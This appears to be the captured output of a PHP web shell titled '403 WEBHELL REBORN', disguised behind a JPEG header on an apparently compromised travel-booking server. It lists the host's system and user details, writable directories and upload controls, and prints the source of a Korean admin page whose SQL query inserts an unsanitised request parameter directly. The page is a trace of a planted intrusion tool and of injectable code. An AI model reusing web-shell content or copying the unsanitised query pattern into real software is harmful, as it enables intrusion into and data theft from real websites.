ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/design/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/design/event_good_edit.php
<?
/**
 * 이벤트 상품 정보 수정 ajax
 */

include "../include/top_proc.html"; //공통파일 인클루드
include "_common.php";

if($eg_idx){
	$sql="SELECT * FROM TB_EVENT_GOOD where eg_idx='".$eg_idx."' ";
	$data = db_fetch($sql);

	$SqlType = "good_edit";
}else{
	$SqlType = "good_insert";

	// 기본값
	$data['eg_order_num'] = '99';
}

?>

<div class="iframe">
<!-- 본문 -->

	<!-- 폼 -->
	<form name="frm_edit_good" id="frm_edit_good" method="post">
	<input type="hidden" name="SqlType" value="<?=$SqlType?>">
	<input type="hidden" name="tmp_layer_id" value="<?=$tmp_layer_id?>"><!-- 레이어ID -->
	<input type="hidden" name="e_idx" value="<?=$e_idx?>"><!-- 이벤트 시퀀스번호 -->
	<input type="hidden" name="eg_idx" value="<?=$eg_idx?>"><!-- 상품 시퀀스번호 -->
	<table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write">
	<tbody>
		<tr>
			<th width="100" scope="row">상품 이미지</th>
			<td class="top_line">
				<input type="file" name="eg_image" id="eg_image" size="30" class="input_file">
				<br><span style="color:#F00;">※ 이미지 사이즈 (720px x 480px)</span>

				<?if($data['eg_image']){?><div style="margin-top:10px;"><img src="/FileData/event/<?=$data['eg_image']?>" alt="상품이미지" style="cursor:pointer; max-height:60px;" onClick="to_dialog.image(this.src,'상품이미지')" /></div><?}?>
			</td>
		</tr>
		<tr>
			<th scope="row">순서</th>
			<td>
				<input name="eg_order_num" id="eg_order_num" type="text" value="<?=$data['eg_order_num']?>" size="6" class="input_text" maxlength="3" style="text-align:center;ime-mode:disabled;" hname="순서" required />
				<span style="color:#F00;">※ 낮은 번호가 상위에 노출됩니다.</span>
			</td>
		</tr>
		<tr>
			<th width="100" scope="row">상품명</th>
			<td class="top_line"><input name="eg_title" id="eg_title" type="text" value="<?=$data['eg_title']?>" size="50" class="input_text" hname="상품명" required /></td>
		</tr>
		<tr>
			<th scope="row">아이콘</th>
			<td><input name="eg_icon" id="eg_icon" type="text" value="<?=$data['eg_icon']?>" size="15" class="input_text"/> <span style="color:#F00;">(TEXT)</span></td>
		</tr>
		<tr>
			<th scope="row">유효기간</th>
			<td><input name="eg_date" id="eg_date" type="text" value="<?=$data['eg_date']?>" size="20" class="input_text"/> <span style="color:#F00;">(TEXT)</span></td>
		</tr>
		<tr>
			<th scope="row">정상가</th>
			<td><input name="eg_price_normal" id="eg_price_normal" type="text" value="<?=$data['eg_price_normal']?>" size="20" class="input_text"/> <span style="color:#F00;">(TEXT)</span></td>
		</tr>
		<tr>
			<th scope="row">판매가</th>
			<td><input name="eg_price" id="eg_price" type="text" value="<?=$data['eg_price']?>" size="20" class="input_text"/> <span style="color:#F00;">(TEXT)</span></td>
		</tr>
		<tr>
			<th scope="row">링크 URL</th>
			<td><input name="eg_url" id="eg_url" type="text" value="<?=$data['eg_url']?>" size="50" class="input_text" hname="링크URL" required/></td>
		</tr>
	</tbody>
	</table>
	<br>

	<div class="btn_wrap_C mt15">
		<a class="Bbtn red" onclick="check_frm_event_good();" href="javascript:;">저장</a>
	</div>
	</form>
	<!-- /폼 -->

<!-- /본문 -->
</div>
<script Language="Javascript">
function check_frm_event_good()
{
	var f = document.frm_edit_good;

	var result = to_validation(f);
	if(result==false) return false;

	ajax_post("ajax_proc","event_proc.php","frm_edit_good");
}
</script>

Anon7 - 2021